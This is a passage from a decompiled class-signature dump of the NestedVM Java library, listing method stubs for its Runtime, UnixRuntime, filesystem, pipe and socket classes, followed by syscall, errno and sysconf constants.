    private int sys_write(int, int, int) throws Runtime$FaultException, Runtime$ErrnoException;
    private int sys_read(int, int, int) throws Runtime$FaultException, Runtime$ErrnoException;
    private int sys_ftruncate(int, long);
    private int sys_close(int);
    private int sys_lseek(int, int, int) throws Runtime$ErrnoException;
    int stat(Runtime$FStat, int) throws Runtime$FaultException;
    private int sys_fstat(int, int) throws Runtime$FaultException;
    private int sys_gettimeofday(int, int) throws Runtime$FaultException;
    private int sys_sleep(int);
    private int sys_times(int);
    private int sys_sysconf(int);
    public final int sbrk(int);
    private int sys_getpid();
    int getPid();
    private int sys_calljava(int, int, int, int);
    private int sys_pause();
    private int sys_getpagesize();
    void _exited();
    void exit(int, boolean);
    private int sys_exit(int);
    final int sys_fcntl(int, int, int) throws Runtime$FaultException;
    final int fsync(int);
    protected final int syscall(int, int, int, int, int, int, int);
    int _syscall(int, int, int, int, int, int, int) throws Runtime$ErrnoException, Runtime$FaultException;
    private int sys_getuid();
    private int sys_geteuid();
    private int sys_getgid();
    private int sys_getegid();
    public int xmalloc(int);
    public int xrealloc(int, int);
    public int realloc(int, int);
    public int malloc(int);
    public void free(int);
    public int strdup(String);
    public final String utfstring(int) throws Runtime$ReadFaultException;
    public final String cstring(int) throws Runtime$ReadFaultException;
    protected final void nullPointerCheck(int) throws Runtime$ExecutionException;
    byte[] byteBuf(int);
    protected static final int[] decodeData(String, int);
    static byte[] getBytes(String);
    static byte[] getNullTerminatedBytes(String);
    static final String toHex(int);
    static final int min(int, int);
    static final int max(int, int);
    static void <clinit>();
}










org/ibex/nestedvm/RuntimeCompiler$1.class


package org.ibex.nestedvm;
synchronized class RuntimeCompiler$1 {
}










org/ibex/nestedvm/RuntimeCompiler$SingleClassLoader.class


package org.ibex.nestedvm;
synchronized class RuntimeCompiler$SingleClassLoader extends ClassLoader {
    private void RuntimeCompiler$SingleClassLoader();
    public Class loadClass(String, boolean) throws ClassNotFoundException;
    public Class fromBytes(String, byte[]);
    public Class fromBytes(String, byte[], int, int);
}










org/ibex/nestedvm/RuntimeCompiler.class


package org.ibex.nestedvm;
public synchronized class RuntimeCompiler {
    public static Class compile(util.Seekable) throws java.io.IOException, Compiler$Exn;
    public static Class compile(util.Seekable, String) throws java.io.IOException, Compiler$Exn;
    public static Class compile(util.Seekable, String, String) throws java.io.IOException, Compiler$Exn;
    private static byte[] runCompiler(util.Seekable, String, String, String, String) throws java.io.IOException, Compiler$Exn;
    public static void main(String[]) throws Exception;
    private void RuntimeCompiler();
}










org/ibex/nestedvm/support.o








org/ibex/nestedvm/support_aux.o








org/ibex/nestedvm/UnixRuntime$1.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$1 extends Runtime$HostFStat {
    void UnixRuntime$1(UnixRuntime, java.io.File, boolean, int, int);
    public int inode();
    public int dev();
}










org/ibex/nestedvm/UnixRuntime$CygdriveFS.class


package org.ibex.nestedvm;
public synchronized class UnixRuntime$CygdriveFS extends UnixRuntime$HostFS {
    protected java.io.File hostFile(String);
    public void UnixRuntime$CygdriveFS();
}










org/ibex/nestedvm/UnixRuntime$DevFS$1$1.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$DevFS$1$1 extends UnixRuntime$DevFS$DevFStat {
    void UnixRuntime$DevFS$1$1(UnixRuntime$DevFS$1);
    public int inode();
}










org/ibex/nestedvm/UnixRuntime$DevFS$1.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$DevFS$1 extends Runtime$FD {
    void UnixRuntime$DevFS$1(UnixRuntime$DevFS);
    public int read(byte[], int, int);
    public int write(byte[], int, int);
    public int seek(int, int);
    public Runtime$FStat _fstat();
    public int flags();
}










org/ibex/nestedvm/UnixRuntime$DevFS$2$1.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$DevFS$2$1 extends UnixRuntime$DevFS$DevFStat {
    void UnixRuntime$DevFS$2$1(UnixRuntime$DevFS$2);
    public int inode();
}










org/ibex/nestedvm/UnixRuntime$DevFS$2.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$DevFS$2 extends Runtime$FD {
    void UnixRuntime$DevFS$2(UnixRuntime$DevFS);
    public int read(byte[], int, int);
    public int write(byte[], int, int);
    public int seek(int, int);
    public Runtime$FStat _fstat();
    public int flags();
}










org/ibex/nestedvm/UnixRuntime$DevFS$3.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$DevFS$3 extends UnixRuntime$DevFS$DevDirFD {
    void UnixRuntime$DevFS$3(UnixRuntime$DevFS, int[]);
    public int myInode();
    public int parentInode();
    public int inode(int);
    public String name(int);
    public int size();
}










org/ibex/nestedvm/UnixRuntime$DevFS$4.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$DevFS$4 extends UnixRuntime$DevFS$DevDirFD {
    void UnixRuntime$DevFS$4(UnixRuntime$DevFS);
    public int myInode();
    public int parentInode();
    public int inode(int);
    public String name(int);
    public int size();
}










org/ibex/nestedvm/UnixRuntime$DevFS$5.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$DevFS$5 extends Runtime$FStat {
    void UnixRuntime$DevFS$5(UnixRuntime$DevFS);
    public int inode();
    public int dev();
    public int type();
    public int mode();
}










org/ibex/nestedvm/UnixRuntime$DevFS$6.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$DevFS$6 extends Runtime$FStat {
    void UnixRuntime$DevFS$6(UnixRuntime$DevFS);
    public int inode();
    public int dev();
    public int type();
    public int mode();
}










org/ibex/nestedvm/UnixRuntime$DevFS$DevDirFD.class


package org.ibex.nestedvm;
abstract synchronized class UnixRuntime$DevFS$DevDirFD extends UnixRuntime$DirFD {
    private void UnixRuntime$DevFS$DevDirFD(UnixRuntime$DevFS);
    public int myDev();
}










org/ibex/nestedvm/UnixRuntime$DevFS$DevFStat.class


package org.ibex.nestedvm;
abstract synchronized class UnixRuntime$DevFS$DevFStat extends Runtime$FStat {
    private void UnixRuntime$DevFS$DevFStat(UnixRuntime$DevFS);
    public int dev();
    public int mode();
    public int type();
    public int nlink();
    public abstract int inode();
}










org/ibex/nestedvm/UnixRuntime$DevFS.class


package org.ibex.nestedvm;
public synchronized class UnixRuntime$DevFS extends UnixRuntime$FS {
    private static final int ROOT_INODE = 1;
    private static final int NULL_INODE = 2;
    private static final int ZERO_INODE = 3;
    private static final int FD_INODE = 4;
    private static final int FD_INODES = 32;
    private Runtime$FD devZeroFD;
    private Runtime$FD devNullFD;
    public void UnixRuntime$DevFS();
    public Runtime$FD open(UnixRuntime, String, int, int) throws Runtime$ErrnoException;
    public Runtime$FStat stat(UnixRuntime, String) throws Runtime$ErrnoException;
    public void mkdir(UnixRuntime, String, int) throws Runtime$ErrnoException;
    public void unlink(UnixRuntime, String) throws Runtime$ErrnoException;
}










org/ibex/nestedvm/UnixRuntime$DirFD$1.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$DirFD$1 extends Runtime$FStat {
    void UnixRuntime$DirFD$1(UnixRuntime$DirFD);
    public int type();
    public int inode();
    public int dev();
}










org/ibex/nestedvm/UnixRuntime$DirFD.class


package org.ibex.nestedvm;
public abstract synchronized class UnixRuntime$DirFD extends Runtime$FD {
    private int pos;
    public void UnixRuntime$DirFD();
    protected abstract int size();
    protected abstract String name(int);
    protected abstract int inode(int);
    protected abstract int myDev();
    protected abstract int parentInode();
    protected abstract int myInode();
    public int flags();
    public int getdents(byte[], int, int);
    protected Runtime$FStat _fstat();
}










org/ibex/nestedvm/UnixRuntime$ForkedProcess.class


package org.ibex.nestedvm;
public final synchronized class UnixRuntime$ForkedProcess extends Thread {
    private final UnixRuntime initial;
    public void UnixRuntime$ForkedProcess(UnixRuntime);
    public void run();
}










org/ibex/nestedvm/UnixRuntime$FS.class


package org.ibex.nestedvm;
public abstract synchronized class UnixRuntime$FS {
    static final int OPEN = 1;
    static final int STAT = 2;
    static final int LSTAT = 3;
    static final int MKDIR = 4;
    static final int UNLINK = 5;
    UnixRuntime$GlobalState owner;
    int devno;
    public void UnixRuntime$FS();
    Object dispatch(int, UnixRuntime, String, int, int) throws Runtime$ErrnoException;
    public Runtime$FStat lstat(UnixRuntime, String) throws Runtime$ErrnoException;
    public abstract Runtime$FD open(UnixRuntime, String, int, int) throws Runtime$ErrnoException;
    public abstract Runtime$FStat stat(UnixRuntime, String) throws Runtime$ErrnoException;
    public abstract void mkdir(UnixRuntime, String, int) throws Runtime$ErrnoException;
    public abstract void unlink(UnixRuntime, String) throws Runtime$ErrnoException;
}










org/ibex/nestedvm/UnixRuntime$GlobalState$CacheEnt.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$GlobalState$CacheEnt {
    public final long time;
    public final long size;
    public final Object o;
    public void UnixRuntime$GlobalState$CacheEnt(long, long, Object);
}










org/ibex/nestedvm/UnixRuntime$GlobalState$MP.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$GlobalState$MP implements util.Sort$Comparable {
    public String path;
    public UnixRuntime$FS fs;
    public void UnixRuntime$GlobalState$MP(String, UnixRuntime$FS);
    public int compareTo(Object);
}










org/ibex/nestedvm/UnixRuntime$GlobalState.class


package org.ibex.nestedvm;
public final synchronized class UnixRuntime$GlobalState {
    java.util.Hashtable execCache;
    final UnixRuntime[] tasks;
    int nextPID;
    util.Seekable$Lock[] locks;
    private UnixRuntime$GlobalState$MP[] mps;
    private UnixRuntime$FS root;
    public void UnixRuntime$GlobalState();
    public void UnixRuntime$GlobalState(int);
    public void UnixRuntime$GlobalState(int, boolean);
    public String mapHostPath(String);
    public String mapHostPath(java.io.File);
    public synchronized UnixRuntime$FS getMount(String);
    public synchronized void addMount(String, UnixRuntime$FS);
    public synchronized void removeMount(UnixRuntime$FS);
    public synchronized void removeMount(String);
    private void removeMount(int);
    private Object fsop(int, UnixRuntime, String, int, int) throws Runtime$ErrnoException;
    public final Runtime$FD open(UnixRuntime, String, int, int) throws Runtime$ErrnoException;
    public final Runtime$FStat stat(UnixRuntime, String) throws Runtime$ErrnoException;
    public final Runtime$FStat lstat(UnixRuntime, String) throws Runtime$ErrnoException;
    public final void mkdir(UnixRuntime, String, int) throws Runtime$ErrnoException;
    public final void unlink(UnixRuntime, String) throws Runtime$ErrnoException;
}










org/ibex/nestedvm/UnixRuntime$HostFS$HostDirFD.class


package org.ibex.nestedvm;
public synchronized class UnixRuntime$HostFS$HostDirFD extends UnixRuntime$DirFD {
    private final java.io.File f;
    private final java.io.File[] children;
    public void UnixRuntime$HostFS$HostDirFD(UnixRuntime$HostFS, java.io.File);
    public int size();
    public String name(int);
    public int inode(int);
    public int parentInode();
    public int myInode();
    public int myDev();
}










org/ibex/nestedvm/UnixRuntime$HostFS.class


package org.ibex.nestedvm;
public synchronized class UnixRuntime$HostFS extends UnixRuntime$FS {
    util.InodeCache inodes;
    protected java.io.File root;
    public java.io.File getRoot();
    protected java.io.File hostFile(String);
    public void UnixRuntime$HostFS(String);
    public void UnixRuntime$HostFS(java.io.File);
    public Runtime$FD open(UnixRuntime, String, int, int) throws Runtime$ErrnoException;
    public void unlink(UnixRuntime, String) throws Runtime$ErrnoException;
    public Runtime$FStat stat(UnixRuntime, String) throws Runtime$ErrnoException;
    public void mkdir(UnixRuntime, String, int) throws Runtime$ErrnoException;
    private static java.io.File getParentFile(java.io.File);
}










org/ibex/nestedvm/UnixRuntime$Pipe$Reader.class


package org.ibex.nestedvm;
public synchronized class UnixRuntime$Pipe$Reader extends Runtime$FD {
    public void UnixRuntime$Pipe$Reader(UnixRuntime$Pipe);
    protected Runtime$FStat _fstat();
    public int read(byte[], int, int) throws Runtime$ErrnoException;
    public int flags();
    public void _close();
}










org/ibex/nestedvm/UnixRuntime$Pipe$Writer.class


package org.ibex.nestedvm;
public synchronized class UnixRuntime$Pipe$Writer extends Runtime$FD {
    public void UnixRuntime$Pipe$Writer(UnixRuntime$Pipe);
    protected Runtime$FStat _fstat();
    public int write(byte[], int, int) throws Runtime$ErrnoException;
    public int flags();
    public void _close();
}










org/ibex/nestedvm/UnixRuntime$Pipe.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$Pipe {
    private final byte[] pipebuf;
    private int readPos;
    private int writePos;
    public final Runtime$FD reader;
    public final Runtime$FD writer;
    void UnixRuntime$Pipe();
}










org/ibex/nestedvm/UnixRuntime$ProcessTableFullExn.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$ProcessTableFullExn extends RuntimeException {
    private void UnixRuntime$ProcessTableFullExn();
}










org/ibex/nestedvm/UnixRuntime$ResourceFS$1.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$ResourceFS$1 extends Runtime$FStat {
    void UnixRuntime$ResourceFS$1(UnixRuntime$ResourceFS, java.net.URLConnection);
    public int type();
    public int nlink();
    public int mode();
    public int size();
    public int mtime();
    public int inode();
    public int dev();
}










org/ibex/nestedvm/UnixRuntime$ResourceFS$2.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$ResourceFS$2 extends Runtime$SeekableFD {
    void UnixRuntime$ResourceFS$2(UnixRuntime$ResourceFS, util.Seekable, int, java.net.URLConnection);
    protected Runtime$FStat _fstat();
}










org/ibex/nestedvm/UnixRuntime$ResourceFS.class


package org.ibex.nestedvm;
public synchronized class UnixRuntime$ResourceFS extends UnixRuntime$FS {
    final util.InodeCache inodes;
    public void UnixRuntime$ResourceFS();
    public Runtime$FStat lstat(UnixRuntime, String) throws Runtime$ErrnoException;
    public void mkdir(UnixRuntime, String, int) throws Runtime$ErrnoException;
    public void unlink(UnixRuntime, String) throws Runtime$ErrnoException;
    Runtime$FStat connFStat(java.net.URLConnection);
    public Runtime$FStat stat(UnixRuntime, String) throws Runtime$ErrnoException;
    public Runtime$FD open(UnixRuntime, String, int, int) throws Runtime$ErrnoException;
}










org/ibex/nestedvm/UnixRuntime$SocketFD.class


package org.ibex.nestedvm;
synchronized class UnixRuntime$SocketFD extends Runtime$FD {
    public static final int TYPE_STREAM = 0;
    public static final int TYPE_DGRAM = 1;
    public static final int LISTEN = 2;
    int flags;
    int options;
    java.net.Socket s;
    java.net.ServerSocket ss;
    java.net.DatagramSocket ds;
    java.net.InetAddress bindAddr;
    int bindPort;
    java.net.InetAddress connectAddr;
    int connectPort;
    java.net.DatagramPacket dp;
    java.io.InputStream is;
    java.io.OutputStream os;
    private static final byte[] EMPTY;
    public int type();
    public boolean listen();
    public void UnixRuntime$SocketFD(int);
    public void setOptions();
    public void _close();
    public int read(byte[], int, int) throws Runtime$ErrnoException;
    public int recvfrom(byte[], int, int, java.net.InetAddress[], int[]) throws Runtime$ErrnoException;
    public int write(byte[], int, int) throws Runtime$ErrnoException;
    public int sendto(byte[], int, int, java.net.InetAddress, int) throws Runtime$ErrnoException;
    public int flags();
    public Runtime$FStat _fstat();
    static void <clinit>();
}










org/ibex/nestedvm/UnixRuntime.class


package org.ibex.nestedvm;
public abstract synchronized class UnixRuntime extends Runtime implements Cloneable {
    private int pid;
    private UnixRuntime parent;
    private static final UnixRuntime$GlobalState defaultGS;
    private UnixRuntime$GlobalState gs;
    private String cwd;
    private UnixRuntime execedRuntime;
    private Object children;
    private java.util.Vector activeChildren;
    private java.util.Vector exitedChildren;
    private static final reflect.Method runtimeCompilerCompile;
    public final int getPid();
    public void setGlobalState(UnixRuntime$GlobalState);
    protected void UnixRuntime(int, int);
    protected void UnixRuntime(int, int, boolean);
    private static String posixTZ();
    private static boolean envHas(String, String[]);
    String[] createEnv(String[]);
    void _started();
    int _syscall(int, int, int, int, int, int, int) throws Runtime$ErrnoException, Runtime$FaultException;
    Runtime$FD _open(String, int, int) throws Runtime$ErrnoException;
    private int sys_getppid();
    private int sys_chown(int, int, int);
    private int sys_lchown(int, int, int);
    private int sys_fchown(int, int, int);
    private int sys_chmod(int, int, int);
    private int sys_fchmod(int, int, int);
    private int sys_umask(int);
    private int sys_access(int, int) throws Runtime$ErrnoException, Runtime$ReadFaultException;
    private int sys_realpath(int, int) throws Runtime$FaultException;
    private int sys_kill(int, int);
    private int sys_waitpid(int, int, int) throws Runtime$FaultException, Runtime$ErrnoException;
    void _exited();
    protected Object clone() throws CloneNotSupportedException;
    private int sys_fork();
    public static int runAndExec(UnixRuntime, String, String[]);
    public static int runAndExec(UnixRuntime, String[]);
    public static int executeAndExec(UnixRuntime);
    private String[] readStringArray(int) throws Runtime$ReadFaultException;
    private int sys_exec(int, int, int) throws Runtime$ErrnoException, Runtime$FaultException;
    public Class runtimeCompile(util.Seekable, String) throws java.io.IOException;
    private int exec(String, String[], String[]) throws Runtime$ErrnoException;
    public int execScript(String, String[], String[], String[]) throws Runtime$ErrnoException;
    public int execClass(Class, String[], String[]);
    private int exec(UnixRuntime, String[], String[]);
    private int sys_pipe(int);
    private int sys_dup2(int, int);
    private int sys_dup(int);
    private int sys_stat(int, int) throws Runtime$FaultException, Runtime$ErrnoException;
    private int sys_lstat(int, int) throws Runtime$FaultException, Runtime$ErrnoException;
    private int sys_mkdir(int, int) throws Runtime$FaultException, Runtime$ErrnoException;
    private int sys_unlink(int) throws Runtime$FaultException, Runtime$ErrnoException;
    private int sys_getcwd(int, int) throws Runtime$FaultException, Runtime$ErrnoException;
    private int sys_chdir(int) throws Runtime$ErrnoException, Runtime$FaultException;
    private int sys_getdents(int, int, int, int) throws Runtime$FaultException, Runtime$ErrnoException;
    void _preCloseFD(Runtime$FD);
    void _postCloseFD(Runtime$FD);
    private int sys_fcntl_lock(int, int, int) throws Runtime$FaultException;
    private int sys_socket(int, int, int);
    private UnixRuntime$SocketFD getSocketFD(int) throws Runtime$ErrnoException;
    private int sys_connect(int, int, int) throws Runtime$ErrnoException, Runtime$FaultException;
    private int sys_resolve_hostname(int, int, int) throws Runtime$FaultException;
    private int sys_setsockopt(int, int, int, int, int) throws Runtime$ReadFaultException, Runtime$ErrnoException;
    private int sys_getsockopt(int, int, int, int, int) throws Runtime$ErrnoException, Runtime$FaultException;
    private int sys_bind(int, int, int) throws Runtime$FaultException, Runtime$ErrnoException;
    private int sys_listen(int, int) throws Runtime$ErrnoException;
    private int sys_accept(int, int, int) throws Runtime$ErrnoException, Runtime$FaultException;
    private int sys_shutdown(int, int) throws Runtime$ErrnoException;
    private int sys_sendto(int, int, int, int, int, int) throws Runtime$ErrnoException, Runtime$ReadFaultException;
    private int sys_recvfrom(int, int, int, int, int, int) throws Runtime$ErrnoException, Runtime$FaultException;
    private int sys_select(int, int, int, int, int) throws Runtime$ReadFaultException, Runtime$ErrnoException;
    private static String hostName();
    private int sys_sysctl(int, int, int, int, int, int) throws Runtime$FaultException;
    private String normalizePath(String);
    Runtime$FStat hostFStat(java.io.File, Object);
    Runtime$FD hostFSDirFD(java.io.File, Object);
    private static void putInt(byte[], int, int);
    static void <clinit>();
}










org/ibex/nestedvm/UsermodeConstants.class


package org.ibex.nestedvm;
public abstract interface UsermodeConstants {
    public static final int SYS_null = 0;
    public static final int SYS_exit = 1;
    public static final int SYS_pause = 2;
    public static final int SYS_open = 3;
    public static final int SYS_close = 4;
    public static final int SYS_read = 5;
    public static final int SYS_write = 6;
    public static final int SYS_sbrk = 7;
    public static final int SYS_fstat = 8;
    public static final int SYS_lseek = 10;
    public static final int SYS_kill = 11;
    public static final int SYS_getpid = 12;
    public static final int SYS_calljava = 13;
    public static final int SYS_stat = 14;
    public static final int SYS_gettimeofday = 15;
    public static final int SYS_sleep = 16;
    public static final int SYS_times = 17;
    public static final int SYS_mkdir = 18;
    public static final int SYS_getpagesize = 19;
    public static final int SYS_unlink = 20;
    public static final int SYS_utime = 21;
    public static final int SYS_chdir = 22;
    public static final int SYS_pipe = 23;
    public static final int SYS_dup2 = 24;
    public static final int SYS_fork = 25;
    public static final int SYS_waitpid = 26;
    public static final int SYS_getcwd = 27;
    public static final int SYS_exec = 28;
    public static final int SYS_fcntl = 29;
    public static final int SYS_rmdir = 30;
    public static final int SYS_sysconf = 31;
    public static final int SYS_readlink = 32;
    public static final int SYS_lstat = 33;
    public static final int SYS_symlink = 34;
    public static final int SYS_link = 35;
    public static final int SYS_getdents = 36;
    public static final int SYS_memcpy = 37;
    public static final int SYS_memset = 38;
    public static final int SYS_dup = 39;
    public static final int SYS_vfork = 40;
    public static final int SYS_chroot = 41;
    public static final int SYS_mknod = 42;
    public static final int SYS_lchown = 43;
    public static final int SYS_ftruncate = 44;
    public static final int SYS_usleep = 45;
    public static final int SYS_getppid = 46;
    public static final int SYS_mkfifo = 47;
    public static final int SYS_klogctl = 51;
    public static final int SYS_realpath = 52;
    public static final int SYS_sysctl = 53;
    public static final int SYS_setpriority = 54;
    public static final int SYS_getpriority = 55;
    public static final int SYS_socket = 56;
    public static final int SYS_connect = 57;
    public static final int SYS_resolve_hostname = 58;
    public static final int SYS_accept = 59;
    public static final int SYS_setsockopt = 60;
    public static final int SYS_getsockopt = 61;
    public static final int SYS_listen = 62;
    public static final int SYS_bind = 63;
    public static final int SYS_shutdown = 64;
    public static final int SYS_sendto = 65;
    public static final int SYS_recvfrom = 66;
    public static final int SYS_select = 67;
    public static final int SYS_getuid = 68;
    public static final int SYS_getgid = 69;
    public static final int SYS_geteuid = 70;
    public static final int SYS_getegid = 71;
    public static final int SYS_getgroups = 72;
    public static final int SYS_umask = 73;
    public static final int SYS_chmod = 74;
    public static final int SYS_fchmod = 75;
    public static final int SYS_chown = 76;
    public static final int SYS_fchown = 77;
    public static final int SYS_access = 78;
    public static final int SYS_alarm = 79;
    public static final int SYS_setuid = 80;
    public static final int SYS_setgid = 81;
    public static final int SYS_send = 82;
    public static final int SYS_recv = 83;
    public static final int SYS_getsockname = 84;
    public static final int SYS_getpeername = 85;
    public static final int SYS_seteuid = 86;
    public static final int SYS_setegid = 87;
    public static final int SYS_setgroups = 88;
    public static final int SYS_resolve_ip = 89;
    public static final int SYS_setsid = 90;
    public static final int SYS_fsync = 91;
    public static final int AF_UNIX = 1;
    public static final int AF_INET = 2;
    public static final int SOCK_STREAM = 1;
    public static final int SOCK_DGRAM = 2;
    public static final int HOST_NOT_FOUND = 1;
    public static final int TRY_AGAIN = 2;
    public static final int NO_RECOVERY = 3;
    public static final int NO_DATA = 4;
    public static final int SOL_SOCKET = 65535;
    public static final int SO_REUSEADDR = 4;
    public static final int SO_KEEPALIVE = 8;
    public static final int SO_BROADCAST = 32;
    public static final int SO_TYPE = 4104;
    public static final int SHUT_RD = 0;
    public static final int SHUT_WR = 1;
    public static final int SHUT_RDWR = 2;
    public static final int INADDR_ANY = 0;
    public static final int INADDR_LOOPBACK = 2130706433;
    public static final int INADDR_BROADCAST = -1;
    public static final int EPERM = 1;
    public static final int ENOENT = 2;
    public static final int ESRCH = 3;
    public static final int EINTR = 4;
    public static final int EIO = 5;
    public static final int ENXIO = 6;
    public static final int E2BIG = 7;
    public static final int ENOEXEC = 8;
    public static final int EBADF = 9;
    public static final int ECHILD = 10;
    public static final int EAGAIN = 11;
    public static final int ENOMEM = 12;
    public static final int EACCES = 13;
    public static final int EFAULT = 14;
    public static final int ENOTBLK = 15;
    public static final int EBUSY = 16;
    public static final int EEXIST = 17;
    public static final int EXDEV = 18;
    public static final int ENODEV = 19;
    public static final int ENOTDIR = 20;
    public static final int EISDIR = 21;
    public static final int EINVAL = 22;
    public static final int ENFILE = 23;
    public static final int EMFILE = 24;
    public static final int ENOTTY = 25;
    public static final int ETXTBSY = 26;
    public static final int EFBIG = 27;
    public static final int ENOSPC = 28;
    public static final int ESPIPE = 29;
    public static final int EROFS = 30;
    public static final int EMLINK = 31;
    public static final int EPIPE = 32;
    public static final int EDOM = 33;
    public static final int ERANGE = 34;
    public static final int ENOMSG = 35;
    public static final int EIDRM = 36;
    public static final int ECHRNG = 37;
    public static final int EL2NSYNC = 38;
    public static final int EL3HLT = 39;
    public static final int EL3RST = 40;
    public static final int ELNRNG = 41;
    public static final int EUNATCH = 42;
    public static final int ENOCSI = 43;
    public static final int EL2HLT = 44;
    public static final int EDEADLK = 45;
    public static final int ENOLCK = 46;
    public static final int EBADE = 50;
    public static final int EBADR = 51;
    public static final int EXFULL = 52;
    public static final int ENOANO = 53;
    public static final int EBADRQC = 54;
    public static final int EBADSLT = 55;
    public static final int EDEADLOCK = 56;
    public static final int EBFONT = 57;
    public static final int ENOSTR = 60;
    public static final int ENODATA = 61;
    public static final int ETIME = 62;
    public static final int ENOSR = 63;
    public static final int ENONET = 64;
    public static final int ENOPKG = 65;
    public static final int EREMOTE = 66;
    public static final int ENOLINK = 67;
    public static final int EADV = 68;
    public static final int ESRMNT = 69;
    public static final int ECOMM = 70;
    public static final int EPROTO = 71;
    public static final int EMULTIHOP = 74;
    public static final int ELBIN = 75;
    public static final int EDOTDOT = 76;
    public static final int EBADMSG = 77;
    public static final int EFTYPE = 79;
    public static final int ENOTUNIQ = 80;
    public static final int EBADFD = 81;
    public static final int EREMCHG = 82;
    public static final int ELIBACC = 83;
    public static final int ELIBBAD = 84;
    public static final int ELIBSCN = 85;
    public static final int ELIBMAX = 86;
    public static final int ELIBEXEC = 87;
    public static final int ENOSYS = 88;
    public static final int ENMFILE = 89;
    public static final int ENOTEMPTY = 90;
    public static final int ENAMETOOLONG = 91;
    public static final int ELOOP = 92;
    public static final int EOPNOTSUPP = 95;
    public static final int EPFNOSUPPORT = 96;
    public static final int ECONNRESET = 104;
    public static final int ENOBUFS = 105;
    public static final int EAFNOSUPPORT = 106;
    public static final int EPROTOTYPE = 107;
    public static final int ENOTSOCK = 108;
    public static final int ENOPROTOOPT = 109;
    public static final int ESHUTDOWN = 110;
    public static final int ECONNREFUSED = 111;
    public static final int EADDRINUSE = 112;
    public static final int ECONNABORTED = 113;
    public static final int ENETUNREACH = 114;
    public static final int ENETDOWN = 115;
    public static final int ETIMEDOUT = 116;
    public static final int EHOSTDOWN = 117;
    public static final int EHOSTUNREACH = 118;
    public static final int EINPROGRESS = 119;
    public static final int EALREADY = 120;
    public static final int EDESTADDRREQ = 121;
    public static final int EMSGSIZE = 122;
    public static final int EPROTONOSUPPORT = 123;
    public static final int ESOCKTNOSUPPORT = 124;
    public static final int EADDRNOTAVAIL = 125;
    public static final int ENETRESET = 126;
    public static final int EISCONN = 127;
    public static final int ENOTCONN = 128;
    public static final int ETOOMANYREFS = 129;
    public static final int EPROCLIM = 130;
    public static final int EUSERS = 131;
    public static final int EDQUOT = 132;
    public static final int ESTALE = 133;
    public static final int ENOTSUP = 134;
    public static final int ENOMEDIUM = 135;
    public static final int ENOSHARE = 136;
    public static final int ECASECLASH = 137;
    public static final int EILSEQ = 138;
    public static final int EOVERFLOW = 139;
    public static final int __ELASTERROR = 2000;
    public static final int F_OK = 0;
    public static final int R_OK = 4;
    public static final int W_OK = 2;
    public static final int X_OK = 1;
    public static final int SEEK_SET = 0;
    public static final int SEEK_CUR = 1;
    public static final int SEEK_END = 2;
    public static final int STDIN_FILENO = 0;
    public static final int STDOUT_FILENO = 1;
    public static final int STDERR_FILENO = 2;
    public static final int _SC_ARG_MAX = 0;
    public static final int _SC_CHILD_MAX = 1;
    public static final int _SC_CLK_TCK = 2;
    public static final int _SC_NGROUPS_MAX = 3;
    public static final int _SC_OPEN_MAX = 4;
    public static final int _SC_JOB_CONTROL = 5;
    public static final int _SC_SAVED_IDS = 6;
    public static final int _SC_VERSION = 7;
    public static final int _SC_PAGESIZE = 8;
    public static final int _SC_NPROCESSORS_CONF = 9;
    public static final int _SC_NPROCESSORS_ONLN = 10;
    public static final int _SC_PHYS_PAGES = 11;
    public static final int _SC_AVPHYS_PAGES = 12;
    public static final int _SC_MQ_OPEN_MAX = 13;
    public static final int _SC_MQ_PRIO_MAX = 14;
    public static final int _SC_RTSIG_MAX = 15;
    public static final int _SC_SEM_NSEMS_MAX = 16;
    public static final int _SC_SEM_VALUE_MAX = 17;
    public static final int _SC_SIGQUEUE_MAX = 18;
    public static final int _SC_TIMER_MAX = 19;
    public static final int _SC_TZNAME_MAX = 20;
    public static final int _SC_ASYNCHRONOUS_IO = 21;
    public static final int _SC_FSYNC = 22;
    public static final int _SC_MAPPED_FILES = 23;
    public static final int _SC_MEMLOCK = 24;
    public static final int _SC_MEMLOCK_RANGE = 25;
    public static final int _SC_MEMORY_PROTECTION = 26;
    public static final int _SC_MESSAGE_PASSING = 27;
    public static final int _SC_PRIORITIZED_IO = 28;
    public static final int _SC_REALTIME_SIGNALS = 29;
    public static final int _SC_SEMAPHORES = 30;
    public static final int _SC_SHARED_MEMORY_OBJECTS = 31;
    public static final int _SC_SYNCHRONIZED_IO = 32;
    public static final int _SC_TIMERS = 33;
    public static final int _SC_AIO_LISTIO_MAX = 34;
    public static final int _SC_AIO_MAX = 35;
    public static final int _SC_AIO_PRIO_DELTA_MAX = 36;
    public static final int _SC_DELAYTIMER_MAX = 37;
    public static final int _SC_THREAD_KEYS_MAX = 38;
    public static final int _SC_THREAD_STACK_MIN = 39;
    public static final int _SC_THREAD_THREADS_MAX = 40;
    public static final int _SC_TTY_NAME_MAX = 41;
    public static final int _SC_THREADS = 42;
    public static final int _SC_THREAD_ATTR_STACKADDR = 43;
    public static final int _SC_THREAD_ATTR_STACKSIZE = 44;
    public static final int _SC_THREAD_PRIORITY_SCHEDULING = 45;
    public static final int _SC_THREAD_PRIO_INHERIT = 46;
    public static final int _SC_THREAD_PRIO_PROTECT = 47;
    public static final int _SC_THREAD_PROCESS_SHARED = 48;
    public static final int _SC_THREAD_SAFE_FUNCTIONS = 49;
    public static final int _SC_GETGR_R_SIZE_MAX = 50;
    public static final int _SC_GETPW_R_SIZE_MAX = 51;
    public static final int _SC_LOGIN_NAME_MAX = 52;
    public static final int _SC_THREAD_DESTRUCTOR_ITERATIONS = 53;
    public static final int _SC_STREAM_MAX = 100;
    public static final int _SC_PRIORITY_SCHEDULING = 101;
    public static final int _PC_LINK_MAX = 0;
    public static final int _PC_MAX_CANON = 1;
    public static final int _PC_MAX_INPUT = 2;
